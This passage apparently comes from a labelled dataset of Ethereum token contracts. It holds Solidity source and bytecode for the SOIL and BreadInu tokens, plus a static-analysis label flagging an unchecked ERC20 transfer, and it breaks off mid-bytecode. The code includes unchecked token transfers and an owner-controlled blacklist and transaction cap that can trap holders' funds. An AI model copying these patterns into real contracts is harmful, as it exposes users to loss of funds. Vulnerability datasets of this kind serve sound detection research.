possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, bytes calldata _extraData) external; } contract SOIL is StandardToken, Ownable { string public constant name = "SOIL.ESTATE"; string public constant symbol = "SOIL"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 100000 * (10 ** uint256(decimals)); // Constructors constructor () public { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner emit Transfer(address(0), msg.sender, initialSupply); } function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData) external returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, _extraData); return true; } } function transferAnyERC20Token(address _tokenAddress, address _to, uint _amount) public onlyOwner { ERC20(_tokenAddress).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063d493b9ac11610066578063d493b9ac1461057a578063d73dd623146105e8578063dd62ed3e1461064e578063f2fde38b146106c657610100565b80638da5cb5b1461038c57806395d89b41146103d6578063a9059cbb14610459578063cae9ca51146104bf57610100565b8063313ce567116100d3578063313ce56714610292578063378dc3dc146102b057806366188463146102ce57806370a082311461033457610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d61070a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610743565b604051808215151515815260200191505060405180910390f35b6101f6610835565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083b565b604051808215151515815260200191505060405180910390f35b61029a610b5d565b6040518082815260200191505060405180910390f35b6102b8610b62565b6040518082815260200191505060405180910390f35b61031a600480360360408110156102e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b6f565b604051808215151515815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e00565b6040518082815260200191505060405180910390f35b610394610e49565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103de610e6f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041e578082015181840152602081019050610403565b50505050905090810190601f16801561044b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a56004803603604081101561046f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea8565b604051808215151515815260200191505060405180910390f35b610560600480360360608110156104d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561051c57600080fd5b82018360208201111561052e57600080fd5b8035906020019184600183028401116401000000008311171561055057600080fd5b90919293919293905050506110b4565b604051808215151515815260200191505060405180910390f35b6105e66004803603606081101561059057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111b0565b005b610634600480360360408110156105fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112d2565b604051808215151515815260200191505060405180910390f35b6106b06004803603604081101561066457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ce565b6040518082815260200191505060405180910390f35b610708600480360360208110156106dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611555565b005b6040518060400160405280600b81526020017f534f494c2e45535441544500000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156108a557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b6108ae57600080fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061098183600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1683600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116c090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6c83826116a990919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a620186a00281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c80576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d14565b610c9383826116a990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f534f494c0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f1257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610f1b57600080fd5b610f6d82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116c090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808590506110c48686610743565b156111a6578073ffffffffffffffffffffffffffffffffffffffff1663a2d57853338787876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b15801561118457600080fd5b505af1158015611198573d6000803e3d6000fd5b5050505060019150506111a8565b505b949350505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461120a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561129157600080fd5b505af11580156112a5573d6000803e3d6000fd5b505050506040513d60208110156112bb57600080fd5b810190808051906020019092919050505050505050565b600061136382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116c090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115af57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115e957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156116b557fe5b818303905092915050565b6000808284019050838110156116d257fe5b809150509291505056fea265627a7a7231582005a3e39000291e49371c39d6a7567079a546ff5b99f3d9c94c526306f958b3c464736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
8,510
0x438e2f7213f28f71dd595e87976da8b7bb2be51e
/** *Submitted for verification at Etherscan.io on 2021-07-24 */ /* telegram: https://t.me/breadinu */ //SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BreadInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1 * 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Bread Inu"; string private constant _symbol = 'BREAD️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 3; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) public { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(cooldownEnabled){ require(cooldown[from] < block.timestamp - (360 seconds)); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function claimTokens(address token) public { require(_msgSender() == _FeeAddress,"Only fee"); IERC20 Recovery = IERC20(token); Recovery.transfer(_FeeAddress,Recovery.balanceOf(address(this))); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063c3c8cd8011610064578063c3c8cd8014610637578063c9567bf91461064e578063d543dbeb14610665578063dd62ed3e146106a0578063df8de3e7146107255761011f565b8063715018a6146104195780638da5cb5b1461043057806395d89b4114610471578063a9059cbb14610501578063b515566a146105725761011f565b8063273123b7116100e7578063273123b7146102e1578063313ce567146103325780635932ead1146103605780636fc3eaec1461039d57806370a08231146103b45761011f565b806306fdde0314610124578063095ea7b3146101b457806318160ddd1461022557806323b872dd146102505761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610776565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c057600080fd5b5061020d600480360360408110156101d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b3565b60405180821515815260200191505060405180910390f35b34801561023157600080fd5b5061023a6107d1565b6040518082815260200191505060405180910390f35b34801561025c57600080fd5b506102c96004803603606081101561027357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e2565b60405180821515815260200191505060405180910390f35b3480156102ed57600080fd5b506103306004803603602081101561030457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108bb565b005b34801561033e57600080fd5b506103476109de565b604051808260ff16815260200191505060405180910390f35b34801561036c57600080fd5b5061039b6004803603602081101561038357600080fd5b810190808035151590602001909291905050506109e7565b005b3480156103a957600080fd5b506103b2610acc565b005b3480156103c057600080fd5b50610403600480360360208110156103d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3e565b6040518082815260200191505060405180910390f35b34801561042557600080fd5b5061042e610c29565b005b34801561043c57600080fd5b50610445610daf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047d57600080fd5b50610486610dd8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c65780820151818401526020810190506104ab565b50505050905090810190601f1680156104f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050d57600080fd5b5061055a6004803603604081101561052457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e15565b60405180821515815260200191505060405180910390f35b34801561057e57600080fd5b506106356004803603602081101561059557600080fd5b81019080803590602001906401000000008111156105b257600080fd5b8201836020820111156105c457600080fd5b803590602001918460208302840111640100000000831117156105e657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610e